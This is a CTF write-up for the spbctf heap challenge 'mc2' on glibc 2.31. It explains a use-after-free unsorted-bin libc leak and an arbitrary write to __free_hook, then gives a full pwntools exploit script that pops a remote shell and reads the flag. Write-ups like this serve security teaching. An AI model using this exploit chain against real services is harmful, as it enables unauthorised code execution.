Mic Check: leak and write (mc2)
Mic Check: leak and write (mc2)
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-03 | Status: Solved Techniques: arbitrary_write_what_where, free_hook_overwrite, system_binsh, unsorted_bin_libc_leak
Summary
Task: glibc 2.31 menu-driven heap allocator (mc2) with UAF (delete doesn't clear slot), a puts-based leak primitive, and a raw write-what-where option. Solution: unsorted-bin libc leak from a freed large chunk with a guard, then use the arbitrary write to set __free_hook = system, and free('/bin/sh') to pop a shell.
Mic Check: leak and write (mc2) — spbctf
Description
Mic Check — "leak and write" — pwn, easy. Heap challenge, glibc 2.31.
nc 109.233.56.90 11801Files: mc2.elf, libc.so (glibc 2.31-0ubuntu9.1)
Menu-driven heap allocator with a global array[10] pointer table. Unlike the
sibling challenges (mc4, mc5) that require tcache poisoning, mc2 hands you
a raw arbitrary write directly in the menu, so no fancy heap primitive is
needed — leak libc, overwrite __free_hook, trigger.
Related writeups (same "Mic Check" family): 20260418_spbctf_pwn9_mc4,
20260418_spbctf_pwn9_mc5.
Binary
mc2.elf— ELF 64-bit, x86-64, PIE. Protections: Full RELRO, canary, NX, PIE (SHSTK/IBT enabled but irrelevant here).libc.so— glibc 2.31 (Ubuntu 2.31-0ubuntu9.1) —__malloc_hookand__free_hookare still present and writable.
Analysis
The menu lives in logic @ 0x1720 (scanf("%d") for the choice). The four
options give exactly the primitives needed:
- allocate —
scanfsize (%d, 1..0x7ff),malloc(size),read_n(buf, size)reads a name until newline (NUL-terminates). The chunk pointer is auto-stored into the next free slot of the globalarray[0..9]. - print —
scanfindex (<=9),puts(array[idx])→ leak primitive. No NULL/validity check, so it works on freed chunks (UAF read). - delete —
scanfindex (<=9),free(array[idx])— slot NOT cleared, so the pointer dangles (UAF). This letsprintread a freed chunk. - write (
"write what where?") —scanfaddress (%llx),scanfvalue (%llx), then inlinemov [addr], value@0x17bc(mirrors thewwwfunction @0x1680) → arbitrary write-what-where primitive.
Full RELRO rules out GOT overwrite, but glibc 2.31 still has __free_hook, so
the clean path is: leak libc, __free_hook = system, then free("/bin/sh").
Solution
Phase 1 — libc leak via unsorted bin
allocate(1400)→ chunk size0x590> tcache max0x410, sofreeroutes it to the unsorted bin (not tcache). Stored at idx 0.allocate(24)GUARD at idx 1 — prevents the big chunk from consolidating with the top chunk on free.delete(0)→ big chunk lands in the unsorted bin; itsfd = bk = main_arena + 96.print(0)→putsleaks themain_arena + 96pointer.libc_base = leak - (__malloc_hook + 0x10 + 0x60) = leak - 0x1ebbe0. Assert page alignment.
Gotcha: freeing a single large chunk (with a guard) gives fd = bk = main_arena+96 directly, so printing the first-freed chunk yields the libc leak.
If two large chunks were freed, the first-freed chunk's fd would point at the
second (a heap pointer), so you would need to print the correct index.
Phase 2 — overwrite __free_hook
- Use option 4 (arbitrary write) to set
[__free_hook] = system.
Phase 3 — trigger the shell
allocate(24)with the name"/bin/sh\0"at idx 2.delete(2)→free(chunk)invokes__free_hook(chunk)=system("/bin/sh")→ shell.cat flag.txt→spbctf{REDACTED}.
Key libc offsets (glibc 2.31)
| Symbol | Offset |
|---|---|
__malloc_hook | 0x1ebb70 |
__free_hook | 0x1eeb28 |
system | 0x55410 |
main_arena leak adjustment (__malloc_hook + 0x10 + 0x60) | 0x1ebbe0 |
Full exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * libc = ELF('./libc.so') HOST, PORT = '109.233.56.90', 11801 def menu(io, c): io.sendlineafter(b'where?', str(c).encode()) def allocate(io, size, name): menu(io, 1) io.sendlineafter(b'Size?', str(size).encode()) io.sendafter(b'enter name:', name) def delete(io, idx): menu(io, 3) io.sendlineafter(b'Index?', str(idx).encode()) def printname(io, idx): menu(io, 2) io.sendlineafter(b'Index?', str(idx).encode()) io.recvuntil(b'\n') return io.recvuntil(b'Choose:', drop=True) def write(io, addr, value): menu(io, 4) io.sendlineafter(b'enter address in hex:', hex(addr)[2:].encode()) io.sendlineafter(b'enter value in hex:', hex(value)[2:].encode()) io = remote(HOST, PORT) # Phase 1: unsorted-bin libc leak allocate(io, 1400, b'AAAAAAAA\n') # idx0 - big chunk (0x590 > tcache max) allocate(io, 24, b'GUARD\n') # idx1 - guard against top consolidation delete(io, 0) # -> unsorted bin, fd=bk=main_arena+96 leak = u64(printname(io, 0).rstrip(b'\n').ljust(8, b'\x00')) libc.address = leak - (libc.sym['__malloc_hook'] + 0x10 + 0x60) assert libc.address & 0xfff == 0 log.success(f'libc base: {hex(libc.address)}') # Phase 2: arbitrary write __free_hook = system write(io, libc.sym['__free_hook'], libc.sym['system']) # Phase 3: trigger allocate(io, 24, b'/bin/sh\x00\n') # idx2 delete(io, 2) # free("/bin/sh") -> system("/bin/sh") io.sendline(b'cat flag.txt') io.interactive()